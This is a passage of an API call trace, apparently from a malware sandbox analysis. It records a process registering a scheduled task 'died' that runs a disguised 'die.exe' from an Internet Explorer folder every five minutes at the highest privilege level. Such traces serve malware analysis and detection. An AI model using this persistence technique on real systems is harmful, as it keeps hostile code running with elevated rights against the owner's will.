_BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|ri|") returned 4 [0077.955] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|f|") returned 3 [0077.955] lstrlenW (lpString="|ri|") returned 4 [0077.955] lstrlenW (lpString="|f|") returned 3 [0077.955] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0077.955] SetLastError (dwErrCode=0x490) [0077.955] lstrlenW (lpString="z") returned 1 [0077.955] lstrlenW (lpString="z") returned 1 [0077.955] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.955] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.955] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|z|") returned 3 [0077.955] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|f|") returned 3 [0077.955] lstrlenW (lpString="|z|") returned 3 [0077.955] lstrlenW (lpString="|f|") returned 3 [0077.955] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0077.955] SetLastError (dwErrCode=0x490) [0077.956] lstrlenW (lpString="f") returned 1 [0077.956] lstrlenW (lpString="f") returned 1 [0077.956] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.956] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.956] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|f|") returned 3 [0077.956] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|f|") returned 3 [0077.956] lstrlenW (lpString="|f|") returned 3 [0077.956] lstrlenW (lpString="|f|") returned 3 [0077.956] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0077.956] SetLastError (dwErrCode=0x0) [0077.956] SetLastError (dwErrCode=0x0) [0077.956] GetProcessHeap () returned 0x160000 [0077.956] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x20) returned 0x17cee0 [0077.956] _memicmp (_Buf1=0x17bc00, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.956] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x17d410, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0077.956] lstrlenW (lpString="LIMITED") returned 7 [0077.956] GetProcessHeap () returned 0x160000 [0077.956] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x10) returned 0x17d6d0 [0077.956] GetThreadLocale () returned 0x409 [0077.956] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0077.956] GetProcessHeap () returned 0x160000 [0077.956] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x20) returned 0x17ceb0 [0077.956] _memicmp (_Buf1=0x17bc00, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.956] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x17d410, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0077.956] lstrlenW (lpString="HIGHEST") returned 7 [0077.956] GetProcessHeap () returned 0x160000 [0077.956] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x10) returned 0x17d6f0 [0077.956] GetThreadLocale () returned 0x409 [0077.956] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0077.957] GetProcessHeap () returned 0x160000 [0077.957] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x20) returned 0x17ce80 [0077.957] _memicmp (_Buf1=0x17bc00, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.957] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x17d410, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0077.957] lstrlenW (lpString="MINUTE") returned 6 [0077.957] GetProcessHeap () returned 0x160000 [0077.957] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0xe) returned 0x17d710 [0077.957] GetThreadLocale () returned 0x409 [0077.957] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0077.957] SetLastError (dwErrCode=0x0) [0077.957] GetProcessHeap () returned 0x160000 [0077.957] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x1fc) returned 0x17c4c0 [0077.957] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x20) returned 0x17ce50 [0077.957] _memicmp (_Buf1=0x17bc00, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.957] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x17d410, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0077.957] lstrlenW (lpString="First") returned 5 [0077.957] GetProcessHeap () returned 0x160000 [0077.957] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0xc) returned 0x17d730 [0077.957] GetProcessHeap () returned 0x160000 [0077.957] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x20) returned 0x17ce20 [0077.957] _memicmp (_Buf1=0x17bc00, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.957] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x17d410, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0077.957] lstrlenW (lpString="Second") returned 6 [0077.957] GetProcessHeap () returned 0x160000 [0077.957] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0xe) returned 0x17d750 [0077.957] GetProcessHeap () returned 0x160000 [0077.957] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x20) returned 0x17cdf0 [0077.957] _memicmp (_Buf1=0x17bc00, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.957] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x17d410, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0077.957] lstrlenW (lpString="Third") returned 5 [0077.958] GetProcessHeap () returned 0x160000 [0077.958] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0xc) returned 0x17d770 [0077.958] GetProcessHeap () returned 0x160000 [0077.958] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x20) returned 0x17cdc0 [0077.958] _memicmp (_Buf1=0x17bc00, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.958] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x17d410, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0077.958] lstrlenW (lpString="Fourth") returned 6 [0077.958] GetProcessHeap () returned 0x160000 [0077.958] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0xe) returned 0x17d790 [0077.958] _memicmp (_Buf1=0x17bc00, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.958] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x17d410, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0077.958] lstrlenW (lpString="Last") returned 4 [0077.958] GetProcessHeap () returned 0x160000 [0077.958] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0xa) returned 0x17d7b0 [0077.958] lstrlenW (lpString="5") returned 1 [0077.958] _wtol (_String="5") returned 5 [0077.958] _memicmp (_Buf1=0x17bc00, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.958] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x17d410, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0077.958] lstrlenW (lpString="First") returned 5 [0077.958] _memicmp (_Buf1=0x17bc00, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.958] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x17d410, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0077.958] lstrlenW (lpString="Second") returned 6 [0077.958] _memicmp (_Buf1=0x17bc00, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.958] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x17d410, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0077.958] lstrlenW (lpString="Third") returned 5 [0077.958] _memicmp (_Buf1=0x17bc00, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.958] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x17d410, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0077.958] lstrlenW (lpString="Fourth") returned 6 [0077.959] _memicmp (_Buf1=0x17bc00, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.959] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x17d410, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0077.959] lstrlenW (lpString="Last") returned 4 [0077.959] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xdc360, cchData=128 | out: lpLCData="0") returned 2 [0077.959] _memicmp (_Buf1=0x17bc00, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.959] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x17d410, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0077.959] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0077.959] GetProcessHeap () returned 0x160000 [0077.959] GetProcessHeap () returned 0x160000 [0077.959] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17d730) returned 1 [0077.959] GetProcessHeap () returned 0x160000 [0077.959] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17d730) returned 0xc [0077.959] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xdc380, cchData=128 | out: lpLCData="0") returned 2 [0077.959] _memicmp (_Buf1=0x17bc00, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.959] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x17d410, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0077.959] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0077.959] GetProcessHeap () returned 0x160000 [0077.959] GetProcessHeap () returned 0x160000 [0077.959] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17d750) returned 1 [0077.959] GetProcessHeap () returned 0x160000 [0077.959] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17d750) returned 0xe [0077.959] GetLocalTime (in: lpSystemTime=0xdc5b0 | out: lpSystemTime=0xdc5b0*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x11, wSecond=0x2, wMilliseconds=0x13a)) [0077.959] lstrlenW (lpString="") returned 0 [0077.960] GetLocalTime (in: lpSystemTime=0xdce68 | out: lpSystemTime=0xdce68*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x11, wSecond=0x2, wMilliseconds=0x13a)) [0077.960] lstrlenW (lpString="") returned 0 [0077.960] lstrlenW (lpString="") returned 0 [0077.960] lstrlenW (lpString="") returned 0 [0077.960] lstrlenW (lpString="") returned 0 [0077.960] lstrlenW (lpString="5") returned 1 [0077.960] _wtol (_String="5") returned 5 [0077.960] lstrlenW (lpString="") returned 0 [0077.960] lstrlenW (lpString="") returned 0 [0077.960] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0077.983] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0078.031] CoCreateInstance (in: rclsid=0xff9d1ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xff9d1ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0xdcc30 | out: ppv=0xdcc30*=0x2fdee0) returned 0x0 [0078.042] TaskScheduler:ITaskService:Connect (This=0x2fdee0, serverName=0xdcd10*(varType=0x8, wReserved1=0xd, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0xdccd0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0xdccf0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xdccb0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0078.232] TaskScheduler:IUnknown:AddRef (This=0x2fdee0) returned 0x2 [0078.232] TaskScheduler:ITaskService:GetFolder (in: This=0x2fdee0, Path=0x0, ppFolder=0xdcdc8 | out: ppFolder=0xdcdc8*=0x2e7dd0) returned 0x0 [0078.243] TaskScheduler:ITaskService:NewTask (in: This=0x2fdee0, flags=0x0, ppDefinition=0xdcdc0 | out: ppDefinition=0xdcdc0*=0x2e7e20) returned 0x0 [0078.244] ITaskDefinition:get_Actions (in: This=0x2e7e20, ppActions=0xdcd40 | out: ppActions=0xdcd40*=0x2e7ee0) returned 0x0 [0078.244] IActionCollection:Create (in: This=0x2e7ee0, Type=0, ppAction=0xdcd60 | out: ppAction=0xdcd60*=0x2e66c0) returned 0x0 [0078.244] lstrlenW (lpString="'C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe'") returned 57 [0078.244] lstrlenW (lpString="'C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe'") returned 57 [0078.244] lstrlenW (lpString=" ") returned 1 [0078.244] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0078.244] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0078.244] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0078.244] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0078.244] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0078.244] StrChrW (lpStart=" ", wMatch=0x50) returned 0x0 [0078.244] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0078.244] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0078.245] StrChrW (lpStart=" ", wMatch=0x67) returned 0x0 [0078.245] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0078.245] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0078.245] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0078.245] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0078.245] StrChrW (lpStart=" ", wMatch=0x46) returned 0x0 [0078.245] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0078.245] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0078.245] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0078.245] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0078.245] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0078.245] StrChrW (lpStart=" ", wMatch=0x28) returned 0x0 [0078.245] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0078.245] StrChrW (lpStart=" ", wMatch=0x38) returned 0x0 [0078.245] StrChrW (lpStart=" ", wMatch=0x36) returned 0x0 [0078.245] StrChrW (lpStart=" ", wMatch=0x29) returned 0x0 [0078.245] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0078.245] StrChrW (lpStart=" ", wMatch=0x49) returned 0x0 [0078.245] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0078.245] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0078.245] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0078.245] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0078.245] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0078.245] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0078.245] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0078.245] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0078.245] StrChrW (lpStart=" ", wMatch=0x45) returned 0x0 [0078.246] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0078.246] StrChrW (lpStart=" ", wMatch=0x70) returned 0x0 [0078.246] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0078.246] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0078.246] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0078.246] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0078.246] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0078.246] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0078.246] StrChrW (lpStart=" ", wMatch=0x53) returned 0x0 [0078.246] StrChrW (lpStart=" ", wMatch=0x49) returned 0x0 [0078.246] StrChrW (lpStart=" ", wMatch=0x47) returned 0x0 [0078.246] StrChrW (lpStart=" ", wMatch=0x4e) returned 0x0 [0078.246] StrChrW (lpStart=" ", wMatch=0x55) returned 0x0 [0078.246] StrChrW (lpStart=" ", wMatch=0x50) returned 0x0 [0078.246] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0078.246] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0078.246] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0078.246] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0078.246] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0078.246] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0078.246] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0078.246] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0078.246] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0078.246] IUnknown:Release (This=0x2e66c0) returned 0x1 [0078.246] IUnknown:Release (This=0x2e7ee0) returned 0x1 [0078.246] ITaskDefinition:get_Triggers (in: This=0x2e7e20, ppTriggers=0xdc8c0 | out: ppTriggers=0xdc8c0*=0x2e7f60) returned 0x0 [0078.247] ITriggerCollection:Create (in: This=0x2e7f60, Type=1, ppTrigger=0xdc8b8 | out: ppTrigger=0xdc8b8*=0x2e6730) returned 0x0 [0078.247] lstrlenW (lpString="5") returned 1 [0078.247] _vsnwprintf (in: _Buffer=0xdc840, _BufferCount=0xf, _Format="PT%sM", _ArgList=0xdc838 | out: _Buffer="PT5M") returned 4 [0078.247] ITrigger:get_Repetition (in: This=0x2e6730, ppRepeat=0xdc8b0 | out: ppRepeat=0xdc8b0*=0x2e67c0) returned 0x0 [0078.248] IRepetitionPattern:put_Interval (This=0x2e67c0, Interval="PT5M") returned 0x0 [0078.248] IUnknown:Release (This=0x2e67c0) returned 0x1 [0078.248] _vsnwprintf (in: _Buffer=0xdc800, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0xdc7d8 | out: _Buffer="2023-09-19T17:17:00") returned 19 [0078.248] ITrigger:put_StartBoundary (This=0x2e6730, StartBoundary="2023-09-19T17:17:00") returned 0x0 [0078.248] lstrlenW (lpString="") returned 0 [0078.248] lstrlenW (lpString="") returned 0 [0078.248] lstrlenW (lpString="") returned 0 [0078.248] lstrlenW (lpString="") returned 0 [0078.248] IUnknown:Release (This=0x2e6730) returned 0x1 [0078.248] IUnknown:Release (This=0x2e7f60) returned 0x1 [0078.248] ITaskDefinition:get_Settings (in: This=0x2e7e20, ppSettings=0xdcd60 | out: ppSettings=0xdcd60*=0x2e64a0) returned 0x0 [0078.248] lstrlenW (lpString="") returned 0 [0078.249] IUnknown:Release (This=0x2e64a0) returned 0x1 [0078.249] GetLocalTime (in: lpSystemTime=0xdcc18 | out: lpSystemTime=0xdcc18*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x11, wSecond=0x2, wMilliseconds=0x262)) [0078.249] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffcb0000 [0078.249] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetUserNameW") returned 0x7feffcc1fd0 [0078.249] GetUserNameW (in: lpBuffer=0xdcc40, pcbBuffer=0xdcc28 | out: lpBuffer="kEecfMwgj", pcbBuffer=0xdcc28) returned 1 [0078.251] ITaskDefinition:get_RegistrationInfo (in: This=0x2e7e20, ppRegistrationInfo=0xdcc10 | out: ppRegistrationInfo=0xdcc10*=0x2e63e0) returned 0x0 [0078.251] IRegistrationInfo:put_Author (This=0x2e63e0, Author="") returned 0x0 [0078.251] _vsnwprintf (in: _Buffer=0xdcc40, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0xdcbd8 | out: _Buffer="2023-09-19T17:17:02") returned 19 [0078.251] IRegistrationInfo:put_Date (This=0x2e63e0, Date="") returned 0x0 [0078.252] IUnknown:Release (This=0x2e63e0) returned 0x1 [0078.252] malloc (_Size=0x18) returned 0x2e6840 [0078.252] free (_Block=0x2e6840) [0078.252] lstrlenW (lpString="") returned 0 [0078.252] ITaskDefinition:get_Principal (in: This=0x2e7e20, ppPrincipal=0xdce30 | out: ppPrincipal=0xdce30*=0x2e6610) returned 0x0 [0078.252] IPrincipal:put_RunLevel (This=0x2e6610, RunLevel=1) returned 0x0 [0078.252] IUnknown:Release (This=0x2e6610) returned 0x1 [0078.252] malloc (_Size=0x18) returned 0x2e6840 [0078.253] ITaskFolder:RegisterTaskDefinition (in: This=0x2e7dd0, Path="died", pDefinition=0x2e7e20, flags=6, UserId=0xdceb0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xdcef0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xdedc0, varVal2=0xfe), LogonType=3, sddl=0xdced0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0xdcdd0 | out: ppTask=0xdcdd0*=0x2e69e0) returned 0x0 [0078.434] free (_Block=0x2e6840) [0078.434] _memicmp (_Buf1=0x17bc00, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0078.434] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x17d410, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0078.434] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0078.434] GetProcessHeap () returned 0x160000 [0078.434] GetProcessHeap () returned 0x160000 [0078.434] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17d770) returned 1 [0078.434] GetProcessHeap () returned 0x160000 [0078.434] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17d770) returned 0xc [0078.434] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17d770 | out: hHeap=0x160000) returned 1 [0078.434] GetProcessHeap () returned 0x160000 [0078.434] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x82) returned 0x199df0 [0078.434] _vsnwprintf (in: _Buffer=0xdd510, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0xdcd78 | out: _Buffer="SUCCESS: The scheduled task \"died\" has successfully been created.\n") returned 66 [0078.434] _fileno (_File=0x7feffe22ab0) returned -2 [0078.434] _errno () returned 0x2e4bb0 [0078.434] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0078.435] SetLastError (dwErrCode=0x6) [0078.435] lstrlenW (lpString="SUCCESS: The scheduled task \"died\" has successfully been created.\n") returned 66 [0078.435] GetConsoleOutputCP () returned 0x0 [0078.435] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"died\" has successfully been created.\n", cchWideChar=66, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 66 [0078.435] GetConsoleOutputCP () returned 0x0 [0078.435] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"died\" has successfully been created.\n", cchWideChar=66, lpMultiByteStr=0xffa11880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"died\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 66 [0078.435] fprintf (in: _File=0x7feffe22ab0, _Format="%s" | out: _File=0x7feffe22ab0) returned 66 [0078.436] fflush (in: _File=0x7feffe22ab0 | out: _File=0x7feffe22ab0) returned -1 [0078.436] IUnknown:Release (This=0x2e69e0) returned 0x0 [0078.436] TaskScheduler:IUnknown:Release (This=0x2e7e20) returned 0x0 [0078.436] TaskScheduler:IUnknown:Release (This=0x2e7dd0) returned 0x0 [0078.436] TaskScheduler:IUnknown:Release (This=0x2fdee0) returned 0x1 [0078.436] lstrlenW (lpString="") returned 0 [0078.436] lstrlenW (lpString="5") returned 1 [0078.436] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="5", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0078.436] GetProcessHeap () returned 0x160000 [0078.436] GetProcessHeap () returned 0x160000 [0078.436] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17c4c0) returned 1 [0078.436] GetProcessHeap () returned 0x160000 [0078.436] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17c4c0) returned 0x1fc [0078.437] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17c4c0 | out: hHeap=0x160000) returned 1 [0078.437] GetProcessHeap () returned 0x160000 [0078.437] GetProcessHeap () returned 0x160000 [0078.437] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x175560) returned 1 [0078.437] GetProcessHeap () returned 0x160000 [0078.437] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x175560) returned 0x4 [0078.437] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x175560 | out: hHeap=0x160000) returned 1 [0078.437] GetProcessHeap () returned 0x160000 [0078.437] GetProcessHeap () returned 0x160000 [0078.437] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17d690) returned 1 [0078.437] GetProcessHeap () returned 0x160000 [0078.437] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17d690) returned 0x16 [0078.437] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17d690 | out: hHeap=0x160000) returned 1 [0078.437] GetProcessHeap () returned 0x160000 [0078.437] GetProcessHeap () returned 0x160000 [0078.437] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17d670) returned 1 [0078.437] GetProcessHeap () returned 0x160000 [0078.437] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17d670) returned 0x18 [0078.437] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17d670 | out: hHeap=0x160000) returned 1 [0078.438] GetProcessHeap () returned 0x160000 [0078.438] GetProcessHeap () returned 0x160000 [0078.438] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17cf40) returned 1 [0078.438] GetProcessHeap () returned 0x160000 [0078.438] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17cf40) returned 0x20 [0078.438] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17cf40 | out: hHeap=0x160000) returned 1 [0078.438] GetProcessHeap () returned 0x160000 [0078.438] GetProcessHeap () returned 0x160000 [0078.438] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17c160) returned 1 [0078.438] GetProcessHeap () returned 0x160000 [0078.438] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17c160) returned 0xa0 [0078.439] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17c160 | out: hHeap=0x160000) returned 1 [0078.439] GetProcessHeap () returned 0x160000 [0078.439] GetProcessHeap () returned 0x160000 [0078.439] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17bbe0) returned 1 [0078.439] GetProcessHeap () returned 0x160000 [0078.439] RtlSizeHeap (HeapHandle=0x160000, Flags=0x0, MemoryPointer=0x17bbe0) returned 0x18 [0078.439] HeapFree (in: hHeap=0x160000, dwFlags=0x0, lpMem=0x17bbe0 | 